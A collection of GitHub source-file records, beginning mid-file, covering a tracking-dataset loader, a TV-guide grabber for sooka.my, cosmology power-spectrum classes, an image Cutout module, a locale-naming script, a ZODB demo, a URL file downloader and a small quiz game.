   def __call__(self, sample):\r\n        sample['gt_boxes'] = sample['boxes'].copy()\r\n        h = sample['height']\r\n        w = sample['width']\r\n        box_w = (sample['boxes'][:, 2]-sample['boxes'][:, 0]).copy()\r\n        box_h = (sample['boxes'][:, 3]-sample['boxes'][:, 1]).copy()\r\n        sample['boxes'][:, 0::2] = sample['boxes'][:, 0::2]+np.expand_dims(box_w, 1)*self.jitter_ratio*(np.random.rand(len(sample['boxes']), 2)-0.5)*2\r\n        sample['boxes'][:, 1::2] = sample['boxes'][:, 1::2]+np.expand_dims(box_h, 1)*self.jitter_ratio*(np.random.rand(len(sample['boxes']), 2)-0.5)*2\r\n        return sample\r\n\r\n\r\nclass BoxShift(object):\r\n    def __init__(self, shift_ratio=0.2):\r\n        self.shift_ratio = shift_ratio\r\n\r\n    def __call__(self, sample):\r\n        h = sample['height']\r\n        w = sample['width']\r\n        h_shift = self.shift_ratio*(random.random()-0.5)*2*h\r\n        w_shift = self.shift_ratio*(random.random()-0.5)*2*w\r\n        sample['boxes'][:, 0::2] = sample['boxes'][:, 0::2]+w_shift\r\n        sample['boxes'][:, 1::2] = sample['boxes'][:, 1::2]+h_shift\r\n        return sample\r\n\r\n\r\nclass BoxClip(object):\r\n    def __call__(self, sample):\r\n        h = sample['height']\r\n        w = sample['width']\r\n        sample['boxes'][:, 0::2] = np.clip(sample['boxes'][:, 0::2], 0, w)\r\n        sample['boxes'][:, 1::2] = np.clip(sample['boxes'][:, 1::2], 0, h)\r\n        remove_idx = np.where((sample['boxes'][:, 0]>=w)+(sample['boxes'][:, 1]>=h)+(sample['boxes'][:, 2]<=0)+(sample['boxes'][:, 3]<=0)>0)[0]\r\n        sample['boxes'] = np.delete(sample['boxes'], remove_idx, 0)\r\n        if 'gt_boxes' in sample.keys():\r\n            sample['gt_boxes'] = np.delete(sample['gt_boxes'], remove_idx, 0)\r\n        sample['classes'] = np.delete(sample['classes'], remove_idx, 0)\r\n        sample['obj_ids'] = np.delete(sample['obj_ids'], remove_idx, 0)\r\n        sample['fr_ids'] = np.delete(sample['fr_ids'], remove_idx, 0)\r\n        return sample\r\n\r\n\r\nclass HFlip(object):\r\n\r\n    def __init__(self, flip_ratio=0.5):\r\n        self.flip_ratio = flip_ratio\r\n\r\n    def __call__(self, sample):\r\n        h = sample['height']\r\n        w = sample['width']\r\n        flip_prob = random.random()\r\n        if flip_prob<self.flip_ratio:\r\n            return sample\r\n        else:\r\n            tmp_x1 = w-sample['boxes'][:, 0].copy()\r\n            tmp_x2 = w-sample['boxes'][:, 2].copy()\r\n            sample['boxes'][:, 0] = tmp_x2\r\n            sample['boxes'][:, 2] = tmp_x1\r\n            return sample\r\n\r\nclass RandomDelete(object):\r\n\r\n    def __init__(self, delete_ratio=0.15, max_bbox=2000):\r\n        self.delete_ratio = delete_ratio\r\n        self.max_bbox = max_bbox\r\n\r\n    def __call__(self, sample):\r\n        N = len(sample['obj_ids'])\r\n        idx_arr = np.linspace(0, N-1, N, dtype=np.int32)\r\n        np.random.shuffle(idx_arr)\r\n        if N>self.max_bbox:\r\n            remove_idx = idx_arr[:N-self.max_bbox]\r\n        else:\r\n            remove_idx = idx_arr[:int(N*self.delete_ratio)]\r\n        sample['boxes'] = np.delete(sample['boxes'], remove_idx, 0)\r\n        sample['classes'] = np.delete(sample['classes'], remove_idx, 0)\r\n        sample['obj_ids'] = np.delete(sample['obj_ids'], remove_idx, 0)\r\n        sample['fr_ids'] = np.delete(sample['fr_ids'], remove_idx, 0)\r\n        \r\n        return sample\r\n\r\n\r\nclass CreateMOTDataset(data.Dataset):\r\n    def __init__(self, gt_path, temporal_len=64, transform=None, max_id=300):\r\n        self.temporal_len = temporal_len\r\n        with open(gt_path) as json_file:\r\n            self.track_data = json.load(json_file)\r\n        self.transform = transform\r\n        seqs = self.track_data['data'].keys()\r\n        self.vids = []\r\n        for key in seqs:\r\n            self.vids.append(key)\r\n        self.max_id = max_id\r\n\r\n\r\n    def __len__(self):\r\n        if self.temporal_len==-1:\r\n            return len(self.track_data['data'].keys())\r\n        else:\r\n            return len(self.track_data['data_index'].keys())\r\n\r\n    def __getitem__(self, idx):\r\n        if torch.is_tensor(idx):\r\n            idx = idx.tolist()\r\n\r\n        sample = {}\r\n\r\n        seq_boxes = []\r\n        seq_fr_ids = []\r\n        seq_classes = []\r\n        seq_obj_ids = []\r\n        seq_img_paths = []\r\n        if self.temporal_len!=-1:\r\n            vid = self.track_data['data_index'][str(idx)]['video_name']\r\n            fr_id = self.track_data['data_index'][str(idx)]['frame_id']\r\n            video_st_fr = self.track_data['data'][str(vid)]['start_frame']\r\n            video_end_fr = self.track_data['data'][str(vid)]['end_frame']\r\n            st_fr = fr_id-self.temporal_len//2\r\n            end_fr = fr_id+self.temporal_len//2\r\n        else:\r\n            vid = self.vids[idx]\r\n            video_st_fr = self.track_data['data'][str(vid)]['start_frame']\r\n            video_end_fr = self.track_data['data'][str(vid)]['end_frame']\r\n            st_fr = video_st_fr\r\n            end_fr = video_end_fr\r\n\r\n        fr_cnt = 0\r\n        for n in range(st_fr, end_fr+1):\r\n\r\n            cur_fr = n\r\n            if n<video_st_fr:\r\n                cur_fr = video_st_fr\r\n            if n>video_end_fr:\r\n                cur_fr = video_end_fr\r\n            seq_img_paths.append(self.track_data['data'][str(vid)]['video_dir']+\\\r\n                \"/\"+self.track_data['data'][vid]['images'][str(cur_fr)]['image_name'])\r\n            if 'height' not in sample.keys():\r\n                sample['height'] = self.track_data['data'][str(vid)]['height']\r\n                sample['width'] = self.track_data['data'][str(vid)]['width']\r\n\r\n\r\n            boxes = []\r\n            classes = []\r\n            obj_ids = []\r\n            img_names = []\r\n            for m in range(len(self.track_data['data'][str(vid)]['images'][str(cur_fr)]['annotations'])):\r\n                boxes.append(self.track_data['data'][str(vid)]['images'][str(cur_fr)]['annotations'][m]['bbox'])\r\n                classes.append(self.track_data['data'][str(vid)]['images'][str(cur_fr)]['annotations'][m]['category_id']-1)\r\n                obj_ids.append(self.track_data['data'][str(vid)]['images'][str(cur_fr)]['annotations'][m]['object_id'])\r\n            \r\n            if len(boxes)==0:\r\n                fr_cnt += 1\r\n                continue\r\n            \r\n            seq_boxes.append(np.array(boxes))\r\n            seq_classes.append(np.array(classes))\r\n            seq_obj_ids.append(np.array(obj_ids))\r\n            seq_fr_ids.append(fr_cnt*np.ones((len(obj_ids))))\r\n            fr_cnt += 1\r\n\r\n        if len(seq_boxes)>0:\r\n            seq_boxes = np.concatenate(seq_boxes, 0)\r\n            seq_classes = np.concatenate(seq_classes, 0)\r\n            seq_obj_ids = np.concatenate(seq_obj_ids, 0)\r\n            seq_fr_ids = np.concatenate(seq_fr_ids, 0)\r\n        sample['boxes'] = seq_boxes\r\n        sample['classes'] = seq_classes\r\n        sample['obj_ids'] = seq_obj_ids\r\n        if len(seq_fr_ids)>0:\r\n            sample['fr_ids'] = seq_fr_ids.astype(np.int32)\r\n        sample['img_paths'] = seq_img_paths\r\n\r\n        if self.transform and len(seq_boxes)>0:\r\n            sample = self.transform(sample)\r\n        \r\n        return sample","repo_name":"GaoangW/LGMTracker","sub_path":"mot_data_loader.py","file_name":"mot_data_loader.py","file_ext":"py","file_size_in_byte":10896,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"35"}
{"seq_id":"35270974138","text":"from epg_grabber.models import Programme, ChannelMetadata, Channel\n\nfrom datetime import date, datetime, timedelta\nimport requests\n\nKALSIG = \"1c9a9da646d991758f659424dccec62f\"\n\nLOGIN_URL = \"https://app-kaltura-proxy.sooka.my/prod/api/v1/api_v3/service/ottuser/action/anonymousLogin\"\nLIST_URL = \"https://app-kaltura-proxy.sooka.my/prod/api/v1/api_v3/service/asset/action/list\"\nDEFAULT_HEADERS = {\n    \"authority\": \"app-kaltura-proxy.sooka.my\",\n    \"origin\": \"https://sooka.my\",\n    \"referer\": \"https://sooka.my/\",\n    \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36\",\n    'content-type': 'application/json'\n}\n\ndef login() -> dict:\n\n  try: \n    response = requests.post(LOGIN_URL, json={\n        \"partnerId\": \"3209\",\n        \"udid\": \"WEB-6764bc29-d82d-3f3b-f9ac-bc0613757dca\",\n        \"format\": 1,\n        \"clientTag\": \"AstroQA\",\n        \"apiVersion\": \"6.1.0.28839\",\n        \"language\": \"en\",\n        \"kalsig\": KALSIG,\n    }, \n    headers=DEFAULT_HEADERS)\n  except Exception as e:\n    raise e\n\n  output = response.json()\n  ks = output[\"result\"][\"ks\"]\n \n  return {\n    'ks': ks,\n    'kalsig': KALSIG\n  }\n\nsession = login()\n\ndef generate() -> ChannelMetadata:\n   \n    try:\n        response = requests.post(LIST_URL, json={\n           \"filter\": {\n                \"objectType\": \"KalturaChannelFilter\",\n                \"idEqual\": \"339523\",\n                \"kSql\": \"(and (or (and asset_type = 'epg' ) (and Catalogue = 'sottott') ) (and name ~'' (or )) )\"\n           },\n            \"pager\": {\n                \"objectType\": \"KalturaFilterPager\",\n                \"pageIndex\": 1,\n                \"pageSize\": 21\n            },\n            \"format\": 1,\n            \"clientTag\": \"AstroQA\",\n            \"apiVersion\": \"6.1.0.28839\",\n            \"language\":\"en\",\n            \"ks\": session.get('ks'),\n            \"kalsig\": session.get('kalsig')\n        },\n        headers=DEFAULT_HEADERS\n    )\n    except Exception as e:\n        raise e\n    \n    output = response.json()\n    objects = output['result']['objects']\n\n    channels = []\n\n    for obj in objects:\n       channel_obj = Channel(\n          id=obj['externalIds'],\n          display_name=obj['name'],\n          icon=obj['images'][0]['url'],\n       )\n\n       channels.append(channel_obj)\n    \n    return ChannelMetadata(channels=channels)\n\ndef get_programs(channel_id: str, days: int = 1, channel_xml_id: str = None):\n\n    channel_name = channel_xml_id if channel_xml_id else channel_id\n\n    start_dt = date.today()   \n    start_date = datetime.combine(start_dt, datetime.min.time())\n\n    end_dt = start_dt + timedelta(days=days)\n    end_date = datetime.combine(end_dt, datetime.max.time())\n\n    # The KSQL is buggy, it expected end_date input for a start_date and the other way around\n    end_timestamp = str(int(start_date.timestamp()))\n    start_timestamp = str(int(end_date.timestamp()))\n\n    epg_ksql = f\"(and epg_channel_id = \\'{channel_id}\\' end_date>=\\'{end_timestamp}\\' start_date<\\'{start_timestamp}\\')\"\n\n    try:\n        response = requests.post(LIST_URL, json={\n           \"filter\": {\n                \"objectType\": \"KalturaSearchAssetFilter\",\n                \"orderBy\": \"START_DATE_ASC\",\n                \"kSql\": epg_ksql\n           },\n            \"pager\": {\n                \"objectType\": \"KalturaFilterPager\",\n                \"pageIndex\": 1,\n                \"pageSize\": 50\n            },\n            \"format\": 1,\n            \"clientTag\": \"AstroQA\",\n            \"apiVersion\": \"6.1.0.28839\",\n            \"language\":\"en\",\n            \"ks\": session.get('ks'),\n            \"kalsig\": session.get('kalsig')\n        },\n        headers=DEFAULT_HEADERS\n    )\n    except Exception as e:\n        raise e\n\n    output = response.json()\n\n    programs = []\n\n    for obj in output['result']['objects']:\n        title = obj['metas']['TitleSortName']['value']\n        description = obj['metas']['LongSynopsis']['value']\n        start_date = datetime.fromtimestamp(obj['startDate'])\n        end_date = datetime.fromtimestamp(obj['endDate'])\n\n        program_obj = Programme(\n            start=start_date,\n            stop=end_date,\n            channel=channel_name,\n            title=title,\n            desc=description\n        )\n\n        programs.append(program_obj)\n    \n    return programs","repo_name":"akmalharith/epg-grabber","sub_path":"epg_grabber/sites/sooka_my.py","file_name":"sooka_my.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"35"}
{"seq_id":"45750393653","text":"# Initial power spectrum parameters\n\nfrom .baseconfig import F2003Class, CAMBError, fortran_class, \\\n    c_int, c_double, POINTER, byref, numpy_1d, np\n\ntensor_parameterization_names = [\"tensor_param_indeptilt\", \"tensor_param_rpivot\", \"tensor_param_AT\"]\ntensor_param_indeptilt = 1\ntensor_param_rpivot = 2\ntensor_param_AT = 3\n\n\nclass InitialPower(F2003Class):\n    \"\"\"\n    Abstract base class for initial power spectrum classes\n    \"\"\"\n    _fortran_class_module_ = 'InitialPower'\n\n    def set_params(self):\n        pass\n\n\n@fortran_class\nclass SplinedInitialPower(InitialPower):\n    \"\"\"\n    Object to store a generic primordial spectrum set from a set of sampled k_i, P(k_i) values\n    \"\"\"\n    _fortran_class_name_ = 'TSplinedInitialPower'\n\n    _fields_ = [\n        ('effective_ns_for_nonlinear', c_double, \"Effective n_s to use for approximate non-linear correction models\")]\n\n    _methods_ = [('HasTensors', [], c_int),\n                 ('SetScalarTable', [POINTER(c_int), numpy_1d, numpy_1d]),\n                 ('SetTensorTable', [POINTER(c_int), numpy_1d, numpy_1d]),\n                 ('SetScalarLogRegular', [POINTER(c_double), POINTER(c_double), POINTER(c_int), numpy_1d]),\n                 ('SetTensorLogRegular', [POINTER(c_double), POINTER(c_double), POINTER(c_int), numpy_1d])]\n\n    def __init__(self, **kwargs):\n        if kwargs.get('PK', None) is not None:\n            self.set_scalar_table(kwargs['ks'], kwargs['PK'])\n        ns_eff = kwargs.get('effective_ns_for_nonlinear', None)\n        if ns_eff is not None:\n            self.effective_ns_for_nonlinear = ns_eff\n\n    def has_tensors(self):\n        \"\"\"\n        Is the tensor spectrum set?\n\n        :return: True if tensors\n        \"\"\"\n        return self.f_HasTensors() != 0\n\n    def set_scalar_table(self, k, PK):\n        \"\"\"\n        Set arrays of k and P(k) values for cublic spline interpolation.\n        Note that using :meth:`set_scalar_log_regular` may be better\n        (faster, and easier to get fine enough spacing a low k)\n\n        :param k: array of k values (Mpc^{-1})\n        :param PK: array of scalar power spectrum values\n        \"\"\"\n        self.f_SetScalarTable(byref(c_int(len(k))), np.ascontiguousarray(k, dtype=np.float64),\n                              np.ascontiguousarray(PK, dtype=np.float64))\n\n    def set_tensor_table(self, k, PK):\n        \"\"\"\n        Set arrays of k and P_t(k) values for cublic spline interpolation\n\n        :param k: array of k values (Mpc^{-1})\n        :param PK: array of tensor power spectrum values\n        \"\"\"\n        self.f_SetTensorTable(byref(c_int(len(k))), np.ascontiguousarray(k, dtype=np.float64),\n                              np.ascontiguousarray(PK, dtype=np.float64))\n\n    def set_scalar_log_regular(self, kmin, kmax, PK):\n        \"\"\"\n        Set log-regular cublic spline interpolation for P(k)\n\n        :param kmin: minimum k value (not minimum log(k))\n        :param kmax: maximum k value (inclusive)\n        :param PK: array of scalar power spectrum values, with PK[0]=P(kmin) and PK[-1]=P(kmax)\n        \"\"\"\n        self.f_SetScalarLogRegular(byref(c_double(kmin)), byref(c_double(kmax)), byref(c_int(len(PK))),\n                                   np.ascontiguousarray(PK, dtype=np.float64))\n\n    def set_tensor_log_regular(self, kmin, kmax, PK):\n        \"\"\"\n        Set log-regular cublic spline interpolation for tensor spectrum P_t(k)\n\n        :param kmin: minimum k value (not minimum log(k))\n        :param kmax: maximum k value (inclusive)\n        :param PK: array of scalar power spectrum values, with PK[0]=P_t(kmin) and PK[-1]=P_t(kmax)\n        \"\"\"\n\n        self.f_SetTensorLogRegular(byref(c_double(kmin)), byref(c_double(kmax)), byref(c_int(len(PK))),\n                                   np.ascontiguousarray(PK, dtype=np.float64))\n\n\n@fortran_class\nclass InitialPowerLaw(InitialPower):\n    \"\"\"\n    Object to store parameters for the primordial power spectrum in the standard power law expansion.\n\n    \"\"\"\n    _fields_ = [\n        (\"tensor_parameterization\", c_int, {\"names\": tensor_parameterization_names, \"start\": 1}),\n        (\"ns\", c_double),\n        (\"nrun\", c_double),\n        (\"nrunrun\", c_double),\n        (\"nt\", c_double),\n        (\"ntrun\", c_double),\n        (\"r\", c_double),\n        (\"pivot_scalar\", c_double),\n        (\"pivot_tensor\", c_double),\n        (\"As\", c_double),\n        (\"At\", c_double)\n    ]\n\n    _fortran_class_name_ = 'TInitialPowerLaw'\n\n    def __init__(self, **kwargs):\n        self.set_params(**kwargs)\n\n    def set_params(self, As=2e-9, ns=0.96, nrun=0, nrunrun=0.0, r=0.0, nt=None, ntrun=0.0,\n                   pivot_scalar=0.05, pivot_tensor=0.05, parameterization=\"tensor_param_rpivot\"):\n        r\"\"\"\n        Set parameters using standard power law parameterization. If nt=None, uses inflation consistency relation.\n\n        :param As: comoving curvature power at k=pivot_scalar (:math:`A_s`)\n        :param ns: scalar spectral index :math:`n_s`\n        :param nrun: running of scalar spectral index :math:`d n_s/d \\log k`\n        :param nrunrun: running of running of spectral index, :math:`d^2 n_s/d (\\log k)^2`\n        :param r: tensor to scalar ratio at pivot\n        :param nt: tensor spectral index :math:`n_t`. If None, set using inflation consistency\n        :param ntrun: running of tensor spectral index\n        :param pivot_scalar: pivot scale for scalar spectrum\n        :param pivot_tensor:  pivot scale for tensor spectrum\n        :param parameterization: See CAMB notes. One of\n            - tensor_param_indeptilt = 1\n            - tensor_param_rpivot = 2\n            - tensor_param_AT = 3\n        :return: self\n        \"\"\"\n\n        if parameterization not in [tensor_param_rpivot, tensor_param_indeptilt, \"tensor_param_rpivot\",\n                                    \"tensor_param_indeptilt\"]:\n            raise CAMBError('Initial power parameterization not supported here')\n        self.tensor_parameterization = parameterization\n        self.As = As\n        self.ns = ns\n        self.nrun = nrun\n        self.nrunrun = nrunrun\n        if nt is None:\n            # set from inflationary consistency\n            if ntrun:\n                raise CAMBError('ntrun set but using inflation consistency (nt=None)')\n            if tensor_param_rpivot != tensor_param_rpivot:\n                raise CAMBError('tensor parameterization not tensor_param_rpivot with inflation consistency')\n            self.nt = - r / 8.0 * (2.0 - ns - r / 8.0)\n            self.ntrun = r / 8.0 * (r / 8.0 + ns - 1)\n        else:\n            self.nt = nt\n            self.ntrun = ntrun\n        self.r = r\n        self.pivot_scalar = pivot_scalar\n        self.pivot_tensor = pivot_tensor\n        return self\n\n    def has_tensors(self):\n        \"\"\"\n        Do these settings have non-zero tensors?\n\n        :return: True if non-zero tensor amplitude\n        \"\"\"\n        return self.r > 0\n","repo_name":"cmbant/CAMB","sub_path":"camb/initialpower.py","file_name":"initialpower.py","file_ext":"py","file_size_in_byte":6842,"program_lang":"python","lang":"en","doc_type":"code","stars":181,"dataset":"github-code","pt":"35"}
{"seq_id":"43125470173","text":"import random\n\nimport torch\n\n\ndef _gen_cutout_coord(height, width, size):\n    height_loc = random.randint(0, height - 1)\n    width_loc = random.randint(0, width - 1)\n\n    upper_coord = (max(0, height_loc - size // 2),\n                    max(0, width_loc - size // 2))\n    lower_coord = (min(height, height_loc + size // 2),\n                    min(width, width_loc + size // 2))\n\n    return upper_coord, lower_coord\n\n\nclass Cutout(torch.nn.Module):\n    def __init__(self, size=16):\n        super().__init__()\n        self.size = size\n\n    def forward(self, img):\n        h, w = img.shape[-2:]\n        upper_coord, lower_coord  = _gen_cutout_coord(h, w, self.size)\n\n        mask_height = lower_coord[0] - upper_coord[0]\n        mask_width = lower_coord[1] - upper_coord[1]\n        assert mask_height > 0\n        assert mask_width > 0\n\n        mask = torch.ones_like(img)\n        mask[..., upper_coord[0]:lower_coord[0], upper_coord[1]:lower_coord[1]] = 0\n        return img * mask\n","repo_name":"DensoITLab/TeachAugment","sub_path":"lib/augmentation/cutout.py","file_name":"cutout.py","file_ext":"py","file_size_in_byte":981,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"35"}
{"seq_id":"1365282945","text":"#!/usr/bin/python3\n\nfrom langtag import lookup\nfrom palaso.sldr.ldml import Ldml, iterate_files\nimport argparse, os\nimport palaso.sldr.UnicodeSets as usets\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"indir\",help=\"Root of SLDR file tree\")\nparser.add_argument(\"-l\",\"--ldml\",help=\"ldml file identifier (without .xml)\")\nargs = parser.parse_args()\n\nif args.ldml:\n    allfiles = [os.path.join(args.indir, args.ldml[0], args.ldml+\".xml\")]\nelse:\n    allfiles = iterate_files(args.indir)\n\nfor f in allfiles:\n    l = Ldml(f)\n    if len(l.root) == 1 and l.root[0].tag == \"identity\":\n        continue\n    ident = l.find(\".//identity/special/sil:identity\")\n    if ident is None or ident.get(\"source\", \"\") == \"cldr\":\n        continue\n    name = os.path.splitext(os.path.basename(f))[0].replace(\"_\", \"-\")\n    tagset = lookup(name, \"\")\n    if tagset == \"\":\n        print(\"No langtag for \" + name)\n        continue\n    ename = getattr(tagset, \"name\", None)\n    if ename is not None:\n        nameel = l.ensure_path('localeDisplayNames/special/sil:names/sil:name[@xml:lang=\"en\"]')[0]\n        if nameel.text is None:\n            nameel.text = ename\n    lnames = getattr(tagset, \"localnames\", [getattr(tagset, 'localname', None)])\n    if lnames != [None]:\n        main = \"\"\n        for e in l.findall('.//characters/exemplarCharacters'):\n            t = e.get('type', None)\n            if t or not e.text: continue\n            main = usets.parse(e.text, 'NFD')[0].asSet()\n            break\n        for c in (\"\\uA78C\", \"\\u02BC\"):\n            if c in main:\n                lnames = [s.replace(\"'\", c) for s in lnames]\n                break\n    lname = lnames[0]\n    if lname is not None:\n        nameel = l.ensure_path('localeDisplayNames/languages/language[@type=\"{}\"]'.format(name))[0]\n        if nameel.text is None:\n            nameel.text = lname\n        elif nameel.text != lname and nameel.text not in lnames:\n            print(\"Name difference for {} has {}, want to add {}\".format(name, nameel.text, lname))\n            nameel.text = lname\n    l.normalise()\n    l.save_as(f)\n\n    \n\n","repo_name":"silnrsi/sldr","sub_path":"examples/addnames.py","file_name":"addnames.py","file_ext":"py","file_size_in_byte":2081,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"18"}
{"seq_id":"33489219833","text":"# - * - coding: utf-8 - * -\r\nfrom ZODB import FileStorage, DB\r\nimport transaction\r\n\r\nclass MyZODB(object):\r\n    def __init__(self, path):\r\n        self.storage = FileStorage.FileStorage(path)\r\n        self.db = DB(self.storage)\r\n        self.connection = self.db.open()\r\n        self.db_root = self.connection.root()\r\n\r\n    def close(self):\r\n        self.connection.close()\r\n        self.db.close()\r\n        self.storage.close()\r\n\r\n\r\ndef create_data():\r\n    db = MyZODB('./db_location/data.fs')\r\n    db_root = db.db_root\r\n    db_root['a_number'] = 3\r\n    db_root['a_string'] = 'Gift'\r\n    db_root['a_list'] = [1, 2, 3, 5, 7, 12]\r\n    db_root['a_dictionary'] = {1918: 'Red Sox', 1919: 'Reds'}\r\n    db_root['deeply_nested'] = {\r\n        1918: [('Red, Sox', 4), ('Cubs', 2)],\r\n        1919: [('Reds', 5), ('White Sox', 3)]\r\n    }\r\n    transaction.commit()\r\n    db.close()\r\n\r\n\r\ndef get_zodb_data():\r\n    db = MyZODB('./db_location/data.fs')\r\n    db_root = db.db_root\r\n    for key in db_root.keys():\r\n        print(f\"{key}: {db_root[key]}\")\r\n    db.close()\r\n\r\n\r\ndef alter_zodb_data():\r\n    db = MyZODB('./db_location/data.fs')\r\n    db_root = db.db_root\r\n    db_root['a_string'] = 'Something Else'\r\n    transaction.commit()\r\n    db.close()\r\n\r\n    # 但是需要显式地将对列表或字典的更改告诉zodb，下面代码将不会修改zodb中对应的内容\r\n    a_dictionary = db_root['a_dictionary']\r\n    a_dictionary[1920] = 'Indians'\r\n    transaction.commit()\r\n    db.close()\r\n\r\n    # 如果打算更改而不是完全替换，则需要设置数据库根的属性_p_changed,以通知它需要重新存储其下的属性\r\n    a_dictionary = db_root['a_dictionary']\r\n    a_dictionary[1920] = 'Indians'\r\n    db._p_changed = 1\r\n    transaction.commit()\r\n    db.close()\r\n\r\n\r\ndef delete_zodb_data():\r\n    db = MyZODB('./db_location/data.fs')\r\n    db_root = db.db_root\r\n    del db_root['a_number']\r\n    transaction.commit()\r\n    db.close()\r\n\r\n\r\ncreate_data()\r\nget_zodb_data()\r\nalter_zodb_data()\r\ndelete_zodb_data()","repo_name":"Crazycosin/python_third-party_practice","sub_path":"pickleDB_test/zodb_test.py","file_name":"zodb_test.py","file_ext":"py","file_size_in_byte":2010,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"41495690270","text":"import os\nimport shutil\nimport tempfile\nfrom typing import Any, Optional\nfrom urllib import parse as url_parse\nfrom urllib import request as url_request\nfrom zipfile import ZipFile, is_zipfile\n\nimport boto3\nimport requests\n\n\nclass ThrowOnErrorOpener(url_request.FancyURLopener):\n    def http_error_default(\n        self, url: str, fp: Any, errcode: int, errmsg: str, headers: Any\n    ) -> Any:\n        raise Exception(f\"{errcode}: {errmsg}\")\n\n\nclass FileDownloader:\n    \"\"\"\n    Module to download files from urls\n    Inspired from python wget module: https://github.com/steveeJ/python-wget\n    \"\"\"\n\n    def __init__(\n        self,\n        url: str,\n        download_path: str,\n        extract_archives: Optional[bool] = False,\n    ):\n        self.url = url\n        self.download_to_path = download_path\n        self.extract_archives = extract_archives\n\n    @staticmethod\n    def check_if_path_exists(path: str) -> bool:\n        if not os.path.exists(path):\n            raise FileNotFoundError(f\"File does not exists at this path: {path}\")\n        return True\n\n    @staticmethod\n    def get_filename_from_url(url: str) -> str:\n        filename = os.path.basename(url_parse.urlparse(url).path)\n        filename = filename.strip(\" \\n\\t.\")\n        if len(filename) == 0:\n            return None  # type: ignore\n        return filename\n\n    @staticmethod\n    def rename_filename_if_exists(filename: str) -> str:\n        \"\"\"Expands name portion of filename with numeric ' (x)' suffix to\n        return filename that doesn't exist already.\n        \"\"\"\n        dirname = os.path.dirname(filename)\n        name, ext = os.path.basename(filename).rsplit(\".\", 1)\n        names = [x for x in os.listdir(dirname) if x.startswith(name)]\n        names = [x.rsplit(\".\", 1)[0] for x in names]\n        suffixes = [x.replace(name, \"\") for x in names]\n        suffixes = [x[2:-1] for x in suffixes if x.startswith(\" (\") and x.endswith(\")\")]\n        indexes = [int(x) for x in suffixes if set(x) <= set(\"0123456789\")]\n        idx = 1\n        if indexes:\n            idx += sorted(indexes)[-1]\n        return os.path.join(dirname, f\"{name} ({idx}).{ext}\")\n\n    def extract_zip_files(\n        self,\n        filename: str,\n        path: str,\n        out_path: Optional[str] = None,\n    ) -> Optional[str]:\n        \"\"\"\n        This function extracts the archive files and returns the corresponding file path.\n        Returns null if the specified path does not exists\n        :param filename: str: Name of the archive file\n        :param path: str: File path of the archive file\n        :param out_path: optional(str): Destination file path where the extracted files should be stored (default is same as path)\n        :returns filename: str: Output file path\n        \"\"\"\n        file_loc = os.path.join(path, filename)\n        out_path = out_path or path\n\n        if self.check_if_path_exists(path):\n            if is_zipfile(file_loc):\n                with ZipFile(file_loc, \"r\") as zip_ref:\n                    zip_ref.extractall(out_path)\n                return out_path\n\n        return None\n\n    def download_files_locally(self, filename: str) -> str:\n        local_file_protocol_length: int = len(\"file://\")\n        download_to_path = self.download_to_path[local_file_protocol_length:]\n        prefix = (filename or download_to_path or \"\") + \"..\"\n        (fd, tmpfile) = tempfile.mkstemp(\".tmp\", prefix=prefix, dir=\".\")\n        os.close(fd)\n        os.unlink(tmpfile)\n\n        # Define callbacks in this code block\n        # callback = None\n\n        (tmpfile, headers) = ThrowOnErrorOpener().retrieve(self.url, tmpfile)\n\n        if os.path.isdir(download_to_path):\n            file_path = filename\n            file_path = os.path.join(download_to_path, file_path)\n        else:\n            file_path = download_to_path or filename\n        if os.path.exists(file_path):\n            file_path = self.rename_filename_if_exists(file_path)\n        shutil.move(tmpfile, file_path)\n\n        if self.extract_archives:\n            file_path = (\n                self.extract_zip_files(\n                    filename=file_path,\n                    path=download_to_path,\n                )\n                or file_path\n            )\n\n        return file_path\n\n    def download_files_to_s3(\n        self, filename: str, bucket: str, download_path: str\n    ) -> str:\n        file_request = requests.get(self.url, stream=True)\n        s3_resource = boto3.resource(\"s3\")\n\n        bucket = s3_resource.Bucket(bucket)\n        s3_location = f\"{download_path}/{filename}\"\n\n        if bucket.creation_date is not None:  # type: ignore\n            return bucket.upload_fileobj(file_request.raw, s3_location)  # type: ignore\n        else:\n            raise s3_resource.exception.NoSuchBucket(f\"{bucket} does not exists!!\")\n\n    def download_files_from_url(self) -> Optional[str]:\n        \"\"\"\n        Function to download files from a url\n\n        \"\"\"\n        filename = self.get_filename_from_url(self.url)\n        url_segments = url_parse.urlparse(self.download_to_path)\n\n        if url_segments.scheme in [\"s3\", \"s3a\"]:\n            file_path = os.path.join(\n                self.url,\n                self.download_files_to_s3(\n                    str(filename),\n                    str(url_segments.netloc),\n                    str(url_segments.path).strip(\"/\"),\n                ),\n            )\n        elif url_segments.scheme in [\"file\"]:\n            file_path = self.download_files_locally(filename)\n        else:\n            raise NotImplementedError\n\n        if file_path:\n            return filename\n\n        return None\n","repo_name":"icanbwell/SparkPipelineFramework","sub_path":"spark_pipeline_framework/utilities/file_downloader/file_downloader.py","file_name":"file_downloader.py","file_ext":"py","file_size_in_byte":5585,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"}
{"seq_id":"75048101799","text":"from random import randint\n\n\nRULE = \"Answer 'yes' if the number is primer, otherwise answer 'no'\"\n\nMIN_NUMBER = 2\n\nMAX_NUMBER = 100\n\n\ndef is_prime(number):\n    ''' Checks whether a number is prime. '''\n    for k in range(2, number):\n        if number % k == 0:\n            return False\n    return True\n\n\ndef get_question_answer():\n    ''' Passes the question and the correct answer to the engine. '''\n\n    question = randint(MIN_NUMBER, MAX_NUMBER)\n\n    if is_prime(question):\n        correct_answer = 'yes'\n    else:\n        correct_answer = 'no'\n\n    return question, correct_answer\n","repo_name":"DenisTabakov/python-project-lvl1","sub_path":"brain_games/games/game_prime.py","file_name":"game_prime.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
